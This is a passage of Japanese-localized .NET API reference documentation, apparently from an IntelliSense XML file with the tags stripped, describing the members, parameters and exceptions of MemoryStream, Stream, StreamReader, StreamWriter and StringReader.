を差し引いた値が より小さい値です。 + + + + プロパティを指定どおりに設定し、 を呼び出す機能を指定どおりに設定して、バイト配列の指定した領域に基づき、 クラスの新しいインスタンスを初期化します。 + このストリームの作成元の符号なしバイトの配列。 + ストリームが開始する位置の のインデックス。 + バイト単位のストリーム長。 + ストリームが書き込みをサポートするかどうかを決定する プロパティの設定。 + ストリームの作成元の符号なしバイト配列を返す を有効にする場合は true。それ以外の場合は false。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + + + + クラスの新しいインスタンスを、指定に従って初期化される拡張可能な容量を使用して初期化します。 + バイト単位の内部配列の初期サイズ。 + + が負の値です。 + + + 現在のストリームが読み取りをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームがシークをサポートしているかどうかを示す値を取得します。 + ストリームが開いている場合は true。 + 2 + + + 現在のストリームが書き込みをサポートしているかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 2 + + + ストリームに割り当てられたバイト数を取得または設定します。 + ストリームに対してバッファーが使用できる部分の長さ。 + 容量が負の値または現在のストリーム長より小さい値に設定されています。 + 現在のストリームが閉じています。 + 容量を変更できないストリームに対して set が呼び出されました。 + 2 + + + 指定されたバッファー サイズを使用して、現在のストリームからすべてのバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。 + キャンセル要求を監視するためのトークン。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + アクションが実行されないように、 メソッドをオーバーライドします。 + 2 + + + このストリームのすべてのバッファーを非同期的にクリアし、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。 + ストリームは破棄されています。 + + + バイト単位のストリーム長を取得します。 + バイト単位のストリーム長。 + ストリームが閉じられました。 + 2 + + + ストリームの現在位置を取得または設定します。 + ストリーム内の現在位置。 + 位置が負の値または より大きい値に設定されています。 + ストリームが閉じられました。 + 2 + + + 現在のストリームからバイトのブロックを読み取り、データをバッファーに書き込みます。 + バッファーに書き込まれた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。また、データを読み取る前にストリームの末尾に到達した場合は 0 になります。 + このメソッドが戻るとき、指定したバイト配列の から ( + - 1) までの値が、現在のストリームから読み取られた文字に置き換えられています。 + 現在のストリームからのデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + バッファー長から を差し引いた値が より小さい値です。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームからバイトを読み取ります。 + + にキャストしたバイト。ストリームの末尾に達した場合は -1。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム内の位置を指定した値に設定します。 + 初期参照ポイントとオフセットを組み合わせて計算するストリーム内の新しい位置。 + ストリームの新しい位置。これは パラメーターに対する相対値であり、正または負の値にできます。 + シーク参照ポイントとして機能する 型の値。 + ストリームの先頭より前をシークしようとしました。 + + が より大きくなっています。 + 無効な があります。または によって算術オーバーフローが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリーム長を指定した値に設定します。 + 長さを設定する値。 + 現在のストリームのサイズが変更できません。 が現在の容量を超えています。または 現在のストリームが書き込みをサポートしません。 + + が負または の最大長より大きな値です。最大長は、( - origin) で計算され、origin は、ストリームが開始する位置を示す基になるバッファーのインデックスです。 + 2 + + + + プロパティには関係なく、ストリームの内容をバイト配列に書き込みます。 + 新しいバイト配列。 + 2 + + + このストリームの作成元の符号なしバイトの配列を返します。戻り値は、変換が成功したかどうかを示します。 + 変換が成功した場合は true。それ以外の場合は false。 + このストリームの作成元のバイト配列セグメント。 + + + バッファーから読み取ったデータを使用して、現在のストリームにバイトのブロックを書き込みます。 + データの書き込み元となるバッファー。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置が、ストリームの末尾に向かって バイトよりも近い位置にあり、容量を変更できません。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + 現在のストリーム インスタンスが閉じています。 + 2 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリーム内の現在位置に 1 バイトを書き込みます。 + 書き込むバイト。 + ストリームは書き込みをサポートしません。詳細については、 のトピックを参照してください。または 現在の位置がストリームの末尾になっており、容量を変更できません。 + 現在のストリームが閉じています。 + 2 + + + メモリ ストリームの内容全体を別のストリームに書き込みます。 + このメモリ ストリームが書き込まれるストリーム。 + + は null です。 + 現在のストリームまたは対象のストリームは閉じています。 + 2 + + + シークに使用するストリームの場所を指定します。 + 2 + + + ストリームの先頭を指定します。 + + + ストリーム内の現在位置を指定します。 + + + ストリームの末尾を指定します。 + + + バイト シーケンスのジェネリック ビューを提供します。これは抽象クラスです。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが読み取りをサポートするかどうかを示す値を取得します。 + ストリームが読み込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームがシークをサポートするかどうかを示す値を取得します。 + ストリームがシークをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームがタイムアウトできるかどうかを決定する値を取得します。 + 現在のストリームがタイムアウトできるかどうかを決定する値。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリームが書き込みをサポートするかどうかを示す値を取得します。 + ストリームが書き込みをサポートしている場合は true。それ以外の場合は false。 + 1 + + + 現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを読み取り、別のストリームに書き込みます。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームは読み取りをサポートしていません。または は、書き込みをサポートしません。 + + メソッドが呼び出される前に、現在のストリームまたは が閉じられました。 + I/O エラーが発生しました。 + + + 現在のストリームからすべてのバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + + は null です。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + 指定されたバッファー サイズを使用して、現在のストリームからバイトを非同期に読み取り、指定されたバッファー サイズとキャンセル トークンを使用して、別のストリームに書き込みます。 + 非同期のコピー操作を表すタスク。 + 現在のストリームの内容のコピー先のストリーム。 + バッファーのサイズ (バイト数)。これは、0 より大きい値である必要があります。既定のサイズは 81920 です。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + が負の値またはゼロです。 + 現在のストリームまたはコピー先ストリームは破棄されます。 + 現在のストリームが読み取りをサポートしていないか、コピー先のストリームが書き込みをサポートしていません。 + + + + によって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされた場合は、ストリームに対応するすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + I/O エラーが発生しました。 + 2 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + ストリームに対応するすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込み、キャンセル要求を監視します。 + 非同期のフラッシュ操作を表すタスク。 + キャンセル要求を監視するためのトークン。既定値は です。 + ストリームは破棄されています。 + + + 派生クラスでオーバーライドされた場合は、ストリームの長さをバイト単位で取得します。 + ストリーム長 (バイト単位) を表す long 値。 + Stream から派生したクラスがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + バッキング ストアを持たない Stream。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を取得または設定します。 + ストリーム内の現在位置。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームからバイト シーケンスを読み取り、読み取ったバイト数の分だけストリームの位置を進めます。 + バッファーに読み取られた合計バイト数。要求しただけのバイト数を読み取ることができなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 (ゼロ) になることがあります。 + バイト配列。このメソッドが戻るとき、指定したバイト配列の から ( + -1) までの値が、現在のソースから読み取られたバイトに置き換えられます。 + 現在のストリームから読み取ったデータの格納を開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームから読み取る最大バイト数。 + + と の合計値が、バッファー長より大きい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 現在のストリームからバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進めます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから非同期的にバイト シーケンスを非同期に読み取り、読み取ったバイト数だけストリーム内の位置を進め、キャンセル要求を監視します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを書き込むバッファー。 + ストリームからのデータの書き込み開始位置を示す 内のバイト オフセット。 + 読み取る最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは読み取りをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の読み取り操作で使用中です。 + + + ストリームから 1 バイトを読み取り、ストリーム内の位置を 1 バイト進めます。ストリームの末尾の場合は -1 を返します。 + Int32 にキャストされた符号なしバイト。ストリームの末尾の場合は -1。 + ストリームは読み取りをサポートしません。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に読み取りを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 派生クラスでオーバーライドされた場合は、現在のストリーム内の位置を設定します。 + 現在のストリーム内の新しい位置。 + + パラメーターからの相対バイト オフセット。 + 新しい位置を取得するために使用する参照ポイントを示す 型の値。 + I/O エラーが発生しました。 + ストリームがシークをサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 1 + + + 派生クラスでオーバーライドされた場合は、現在のストリームの長さを設定します。 + 現在のストリームの希望の長さ (バイト数)。 + I/O エラーが発生しました。 + ストリームが書き込みとシークの両方をサポートしていません。たとえば、ストリームがパイプまたはコンソール出力によって生成された可能性があります。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + 派生クラスによってオーバーライドされた場合は、現在のストリームにバイト シーケンスを書き込み、書き込んだバイト数の分だけストリームの現在位置を進めます。 + バイト配列。このメソッドは、 から現在のストリームに、 で指定されたバイト数だけコピーします。 + 現在のストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 現在のストリームに書き込むバイト数。 + 合計  と  がバッファーの長さより大きい。 + + nullです。 + + または  が負の値です。 + 指定したファイルが見つからないなど、I/O エラーが発生しました。 + ストリームは書き込みをサポートしません。 + + ストリームが閉じられた後が呼び出されました。 + 1 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進めます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + 現在のストリームにバイト シーケンスを非同期に書き込み、書き込んだバイト数だけストリーム内の現在位置を進め、キャンセル要求を監視します。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元となるバッファー。 + ストリームへのバイトのコピーを開始する位置を示す 内のバイト オフセット。インデックス番号は 0 から始まります。 + 書き込む最大バイト数。 + キャンセル要求を監視するためのトークン。既定値は です。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは書き込みをサポートしません。 + ストリームは破棄されています。 + ストリームは現在、前の書き込み操作で使用中です。 + + + ストリームの現在位置にバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + ストリームに書き込むバイト。 + I/O エラーが発生しました。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + ストリームが閉じられた後でメソッドが呼び出されました。 + 2 + + + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位) を取得または設定します。 + ストリームがタイムアウト前に書き込みを試行する期間を決定する値 (ミリ秒単位)。 + + メソッドは、常に をスローします。 + 2 + + + 特定のエンコーディングのバイト ストリームから文字を読み込む を実装します。この種類の .NET Framework ソース コードを参照して、次を参照してください。、 Reference Sourceです。 + 1 + + + 指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + + が読み取りをサポートしていません。 + + は null です。 + + + バイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + は null です。 + + + 文字エンコーディングを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディングとバイト順マーク検出オプションを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + + が読み取りをサポートしていません。 + + または が null です。 + + + 文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズを設定して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 読み込まれるストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索するかどうかを示します。 + 最小バッファー サイズ。 + ストリームは読み取りをサポートしません。 + + または が null です。 + + が 0 以下です。 + + + 指定した文字エンコーディング、バイト順マーク検出オプション、およびバッファー サイズに基づいて、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 読み取るストリーム。 + 使用する文字エンコーディング。 + ファイルの先頭にあるバイト順序マークを検索する場合は true。それ以外の場合は false。 + 最小バッファー サイズ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + + 基になるストリームを返します。 + 基になるストリーム。 + 2 + + + 現在の オブジェクトが使用している現在の文字エンコーディングを取得します。 + 現在のリーダーが使用している現在の文字エンコーディング。 の メソッドを最初に呼び出した後、現在の文字エンコーディングを示す値が異なる場合があります。これは、 メソッドの最初の呼び出しまでエンコードの自動検出が実行されないためです。 + 2 + + + 内部バッファーをクリアします。 + 2 + + + 基になるストリームを閉じ、 によって使用されているアンマネージ リソースを解放します。任意でマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のストリームの位置がストリームの末尾かどうかを示す値を取得します。 + 現在のストリームの位置がストリームの末尾の場合は true。それ以外の場合は false。 + 基になるストリームは破棄されています。 + 1 + + + 空のストリームの オブジェクト。 + 1 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。読み取り対象の文字が存在しない場合またはストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 入力ストリームから次の文字を読み込み、1 文字分だけ文字位置を進めます。 + 入力ストリームの次の文字を オブジェクトで表した値。使用できる文字がない場合は -1。 + I/O エラーが発生しました。 + 1 + + + 指定したインデックスを開始位置として、現在のストリームから、指定された最大文字数をバッファー内に読み取ります。 + 読み込まれた文字数。ストリームの末尾でデータが読み込まれなかった場合は 0。この数値は、ストリーム内に使用できるデータがあるかどうかによって異なりますが、 パラメーター以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みの開始位置を示す のインデックス。 + 読み取り対象の最大文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null です。 + + または が負の値です。 + I/O エラーが発生しました。たとえば、ストリームがクローズされています。 + 1 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合は現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のストリームから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から () までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + + + 指定した最大文字数を現在のストリームから非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前にストリームの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在のストリームから 1 行分の文字を読み取り、そのデータを文字列として返します。 + 入力ストリームからの次の行。入力ストリームの末尾に到達した場合は null。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームから非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、ストリームの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + すべての文字の現在位置から末尾までを読み込みます。 + ストリームの現在位置から末尾までのストリームの残り部分 (文字列)。現在の位置がストリームの末尾である場合は、空の文字列 ("") が返されます。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + I/O エラーが発生しました。 + 1 + + + 現在位置からストリームの末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からストリームの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + ストリームは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字を特定のエンコーディングでストリームに書き込むための を実装しています。この種類の .NET Framework ソース コードを参照して、次を参照してください。、参照ソースです。 + 1 + + + UTF-8 エンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + + が書き込み可能ではありません。 + + は null です。 + + + 指定したエンコーディングと既定のバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + + または が null です。 + + が書き込み可能ではありません。 + + + 指定したエンコーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化します。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + 指定した円コーディングとバッファー サイズを使用して、指定したストリーム用の クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 書き込まれるストリーム。 + 使用する文字エンコーディング。 + バイト単位のバッファー サイズ。 + true to leave the stream open after the object is disposed; otherwise, false. + + または が null です。 + + が負の値です。 + + が書き込み可能ではありません。 + + + + が呼び出されるたびに、 によって基になるストリームに対するバッファーをフラッシュするかどうかを示す値を取得または設定します。 + + に強制的にバッファーをフラッシュさせる場合は true。それ以外の場合は false。 + 1 + + + バッキング ストアと連結する、基になるストリームを取得します。 + この StreamWriter が書き込むストリーム。 + 2 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + + + 出力の書き込みに使用する を取得します。 + 現在のインスタンスのコンストラクターで指定した 。エンコーディングを指定しなかった場合は、。 + 2 + + + 現在のライターで使用したすべてのバッファーをクリアし、バッファー内のすべてのデータを基になるストリームに書き込みます。 + 現在のライターがクローズされています。 + I/O エラーが発生しました。 + 現在のエンコードは、Unicode サロゲート ペアの片方の表示をサポートしていません。 + 1 + + + このストリームのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + ストリームは破棄されています。 + + + バッキング ストアを持たない書き込み専用の StreamWriter を提供します。 + 1 + + + ストリームに文字を書き込みます。 + ストリームに書き込む文字。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列を書き込みます。 + 書き込むデータを格納する文字配列。 が null の場合は、何も書き込まれません。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字配列の一部を書き込みます。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + I/O エラーが発生しました。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + 1 + + + ストリームに文字列を書き込みます。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + + が true または バッファーがいっぱいで、現在のライターが閉じられています。 + + が true または バッファーがいっぱいで、 がストリームの末尾にあるため、基になる固定サイズのストリームにバッファーの内容を書き込むことができません。 + I/O エラーが発生しました。 + 1 + + + 文字を非同期でストリームに書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 非同期でストリームに文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列を非同期でストリームに書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列から読み取る を実装します。 + 2 + + + 指定した文字列から読み取る クラスの新しいインスタンスを初期化します。 + + を初期化する目的の文字列。 + + パラメーターが null です。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から次の文字を読み取り、1 文字分だけ文字位置を進めます。 + 基になる文字列の次の文字。または使用できる文字がない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から文字のブロックを読み取り、 だけ文字位置を進めます。 + 